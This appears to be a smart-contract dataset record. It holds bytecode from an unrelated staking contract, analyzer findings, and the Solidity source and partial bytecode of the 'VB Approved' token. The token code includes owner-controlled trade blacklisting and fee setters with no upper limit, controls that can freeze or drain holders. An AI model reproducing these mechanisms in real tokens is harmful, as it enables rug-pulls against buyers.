03018186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d602081101561081657600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561086b57600080fd5b505afa15801561087f573d6000803e3d6000fd5b505050506040513d602081101561089557600080fd5b5051905060006107ca6107cd84026108ba858002600902868602623cda200201611375565b03816108c257fe5b600854604080516340c10f1960e01b8152306004820152939092046024840181905291519193506001600160a01b0316916340c10f1991604480830192600092919082900301818387803b15801561091957600080fd5b505af115801561092d573d6000803e3d6000fd5b505060408051600280825260608083018452945090925090602083019080368337505060085482519293506001600160a01b03169183915060009061096e57fe5b6001600160a01b03928316602091820292909201015260095482519116908290600190811061099957fe5b6001600160a01b039283166020918202929092018101919091526008546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820152602481018790529051919093169263095ea7b39260448083019391928290030181600087803b158015610a1057600080fd5b505af1158015610a24573d6000803e3d6000fd5b505050506040513d6020811015610a3a57600080fd5b50506040516318cbafe560e01b815260048101838152600160248301819052733975ea0f2682c47b69720590d912a4103b5ab2f4606484018190526407b71a3f546084850181905260a060448601908152865160a48701528651737a250d5630b4cf539739df2c5dacb4c659f2488d966318cbafe5968a96958a95909490939192909160c4909101906020878101910280838360005b83811015610ae8578181015183820152602001610ad0565b505050509050019650505050505050600060405180830381600087803b158015610b1157600080fd5b505af1158015610b25573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610b4e57600080fd5b8101908080516040519392919084640100000000821115610b6e57600080fd5b908301906020820185811115610b8357600080fd5b8251866020820283011164010000000082111715610ba057600080fd5b82525081516020918201928201910280838360005b83811015610bcd578181015183820152602001610bb5565b5050505090500160405250505050505050505b610c01733975ea0f2682c47b69720590d912a4103b5ab2f460024704611f2b565b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610c5257600080fd5b505afa158015610c66573d6000803e3d6000fd5b505050506040513d6020811015610c7c57600080fd5b5051600854604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015610cd157600080fd5b505afa158015610ce5573d6000803e3d6000fd5b505050506040513d6020811015610cfb57600080fd5b505190506000610d1583610d0f4785611fc0565b90612020565b600854604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015610d6b57600080fd5b505af1158015610d7f573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610dd257600080fd5b505afa158015610de6573d6000803e3d6000fd5b505050506040513d6020811015610dfc57600080fd5b5051600854604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610e4f57600080fd5b505afa158015610e63573d6000803e3d6000fd5b505050506040513d6020811015610e7957600080fd5b50516008546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b158015610ee657600080fd5b505af1158015610efa573d6000803e3d6000fd5b505050506040513d6020811015610f1057600080fd5b50506008546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b158015610f9957600080fd5b505af1158015610fad573d6000803e3d6000fd5b50505050506040513d6060811015610fc457600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b15801561101057600080fd5b505afa158015611024573d6000803e3d6000fd5b505050506040513d602081101561103a57600080fd5b50519050600061104a8285612062565b90506110776110588a6120a4565b6001600160a01b038b16600090815260046020526040902054906120d5565b6001600160a01b038a16600090815260046020908152604080832093909355600281528282204290556003905220546110b090826120d5565b6001600160a01b039099166000908152600360205260409020989098555050505050505050565b6009546001600160a01b031681565b60005490565b600061112161111c6110fd8461212f565b6001600160a01b038516600090815260076020526040902054906120d5565b611632565b90505b919050565b611131612160565b6001600160a01b0316336001600160a01b03161461118e576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b600954600160a81b900460ff16156111ed576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6009805460ff60a81b1916600160a81b179055600880546001600160a01b039092166001600160a01b0319909216919091179055565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b336112676112488261212f565b6001600160a01b038316600090815260076020526040902054906120d5565b6001600160a01b038216600090815260076020908152604080832093909355600581528282204290556006905220546112a09083612062565b6001600160a01b038083166000908152600660205260409020919091556008546112cc911682846121e0565b5050565b6112d8612160565b6001600160a01b0316336001600160a01b031614611335576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b6009805460ff60a01b1916600160a01b179055565b600954600160a01b900460ff1690565b6001600160a01b031660009081526006602052604090205490565b600060038211156113b8575080600160028204015b818110156113b2578091506002818285816113a157fe5b0401816113aa57fe5b04905061138a565b50611124565b811561112457506001919050565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561143457600080fd5b505afa158015611448573d6000803e3d6000fd5b505050506040513d602081101561145e57600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156114b357600080fd5b505afa1580156114c7573d6000803e3d6000fd5b505050506040513d60208110156114dd57600080fd5b5051604080516318160ddd60e01b815290519192506000916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561152557600080fd5b505afa158015611539573d6000803e3d6000fd5b505050506040513d602081101561154f57600080fd5b505190506000828260028904028161156357fe5b049050611571868202611821565b9450505050505b92915050565b60015490565b61158c612160565b6001600160a01b0316336001600160a01b0316146115e9576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b6115f161134a565b1561162d5760405162461bcd60e51b815260040180806020018281038252602e8152602001806126d8602e913960400191505060405180910390fd5b600055565b60006a1a1a94ec861d5c338000006116528361164c61157e565b90611fc0565b8161165957fe5b0492915050565b6407b71a3f5481565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156116d757600080fd5b505afa1580156116eb573d6000803e3d6000fd5b505050506040513d602081101561170157600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561175657600080fd5b505afa15801561176a573d6000803e3d6000fd5b505050506040513d602081101561178057600080fd5b5051600854604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156117d557600080fd5b505afa1580156117e9573d6000803e3d6000fd5b505050506040513d60208110156117ff57600080fd5b5051905061181981610d0f670de0b6b3a764000085611fc0565b935050505090565b60006a1a1a94ec861d5c338000006116528361164c6110e6565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156118a957600080fd5b505afa1580156118bd573d6000803e3d6000fd5b505050506040513d60208110156118d357600080fd5b5051600954604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561192857600080fd5b505afa15801561193c573d6000803e3d6000fd5b505050506040513d602081101561195257600080fd5b5051604080516318160ddd60e01b815290519192506119da916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561199b57600080fd5b505afa1580156119af573d6000803e3d6000fd5b505050506040513d60208110156119c557600080fd5b5051610d0f6119d387611cfa565b8490611fc0565b949350505050565b42600a5462015180011115611a285760405162461bcd60e51b815260040180806020018281038252603481526020018061261f6034913960400191505060405180910390fd5b6008543390611a42906001600160a01b0316823085612232565b611a4e6112488261212f565b6001600160a01b03821660009081526007602090815260408083209390935560058152828220429055600690522054611a8790836120d5565b6001600160a01b0390911660009081526006602052604090205550565b600954600160b01b900460ff1681565b611ad6611ac0336120a4565b33600090815260046020526040902054906120d5565b3360009081526004602090815260408083209390935560029052908120429055611aff82612292565b33600090815260046020526040902054909150611b1c9082612062565b33600090815260046020526040812091909155611b3883611d15565b600854604080516340c10f1960e01b81523360048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b158015611b8e57600080fd5b505af1158015611ba2573d6000803e3d6000fd5b50505050505050565b6008546001600160a01b031681565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000611121611c02611be3846120a4565b6001600160a01b038516600090815260046020526040902054906120d5565b611821565b600a5481565b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015611c7b57600080fd5b505afa158015611c8f573d6000803e3d6000fd5b505050506040513d6020811015611ca557600080fd5b5051600854604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561192857600080fd5b6001600160a01b031660009081526003602052604090205490565b6000600a546203f480014210611d2c575080611124565b600a5442036203f4806000611d4882610d0f85620f4240611fc0565b9050611d5b620f4240610d0f8784611fc0565b9350505050611124565b33611d726112488261212f565b6001600160a01b03821660009081526007602090815260408083209390935560059052908120429055611da4836122b4565b6001600160a01b038316600090815260076020526040902054909150611dca9082612062565b6001600160a01b038316600090815260076020526040812091909155611def84611d15565b600854604080516340c10f1960e01b81526001600160a01b0387811660048301526024820185905291519394509116916340c10f199160448082019260009290919082900301818387803b158015611e4657600080fd5b505af1158015611e5a573d6000803e3d6000fd5b5050505050505050565b611e6c612160565b6001600160a01b0316336001600160a01b031614611ec9576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207072696d61727960581b604482015290519081900360640190fd5b611ed161134a565b15611f0d5760405162461bcd60e51b815260040180806020018281038252602e8152602001806126d8602e913960400191505060405180910390fd5b60098054911515600160b01b0260ff60b01b19909216919091179055565b6040516000906001600160a01b0384169083908381818185875af1925050503d8060008114611f76576040519150601f19603f3d011682016040523d82523d6000602084013e611f7b565b606091505b5050905080611fbb5760405162461bcd60e51b815260040180806020018281038252603a815260200180612653603a913960400191505060405180910390fd5b505050565b600082611fcf57506000611578565b82820282848281611fdc57fe5b04146120195760405162461bcd60e51b815260040180806020018281038252602181526020018061268d6021913960400191505060405180910390fd5b9392505050565b600061201983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122c1565b600061201983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612363565b6001600160a01b038116600090815260026020526040812054611121906120cc904290612062565b61164c84611cfa565b600082820183811015612019576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604081205461112190612157904290612062565b61164c8461135a565b6000733975ea0f2682c47b69720590d912a4103b5ab2f46001600160a01b031663c6dbdf616040518163ffffffff1660e01b815260040160206040518083038186803b1580156121af57600080fd5b505afa1580156121c3573d6000803e3d6000fd5b505050506040513d60208110156121d957600080fd5b5051905090565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611fbb9084906123bd565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261228c9085906123bd565b50505050565b600061112161229f6110e6565b610d0f846a1a1a94ec861d5c33800000611fc0565b600061112161229f61157e565b6000818361234d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123125781810151838201526020016122fa565b50505050905090810190601f16801561233f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161235957fe5b0495945050505050565b600081848411156123b55760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156123125781810151838201526020016122fa565b505050900390565b6060612412826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661246e9092919063ffffffff16565b805190915015611fbb5780806020019051602081101561243157600080fd5b5051611fbb5760405162461bcd60e51b815260040180806020018281038252602a8152602001806126ae602a913960400191505060405180910390fd5b60606119da84846000856060612483856125e5565b6124d4576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106125135780518252601f1990920191602091820191016124f4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612575576040519150601f19603f3d011682016040523d82523d6000602084013e61257a565b606091505b5091509150811561258e5791506119da9050565b80511561259e5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156123125781810151838201526020016122fa565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906119da57505015159291505056fe497420686173206e6f74206265656e20323420686f7572732073696e636520636f6e7472616374206372656174696f6e20796574416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565646d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a2646970667358221220f0eedc5afb7b34ad2701882aece5f0de0c7eee7e12d3ec571c1cd63f18c0993064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,220 |
0x96de5b6bf31a1137a7b77a77db04e0e493ec1e7d
|
/**
*
* https://t.me/VBapproved
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VBapproved is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xacF58D26AB8d04768958aA39CB761da33ebBe60B);
address payable private _feeAddrWallet2 = payable(0x33E5D669C403efA807f8a6FB1a4B057eaC79cb6C);
string private constant _name = "VB Approved";
string private constant _symbol = "VBRIP";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610276578063842b7c081461028b5780638da5cb5b146102ab57806395d89b41146102d3578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e3578063313ce567146102055780635932ead1146102215780636fc3eaec1461024157806370a082311461025657600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a159088105c1c1c9bdd995960aa1b60208201525b604051610161919061187d565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611704565b6103d1565b6040519015158152602001610161565b3480156101a657600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610161565b3480156101cf57600080fd5b5061018a6101de3660046116c3565b6103e8565b3480156101ef57600080fd5b506102036101fe366004611650565b610451565b005b34801561021157600080fd5b5060405160098152602001610161565b34801561022d57600080fd5b5061020361023c3660046117fc565b6104a5565b34801561024d57600080fd5b506102036104ed565b34801561026257600080fd5b506101b5610271366004611650565b61051a565b34801561028257600080fd5b5061020361053c565b34801561029757600080fd5b506102036102a6366004611836565b6105b0565b3480156102b757600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102df57600080fd5b50604080518082019091526005815264056425249560dc1b6020820152610154565b34801561030d57600080fd5b5061018a61031c366004611704565b610607565b34801561032d57600080fd5b5061020361033c366004611730565b610614565b34801561034d57600080fd5b506102036106aa565b34801561036257600080fd5b506102036106e0565b34801561037757600080fd5b50610203610386366004611836565b610aa9565b34801561039757600080fd5b506101b56103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f2061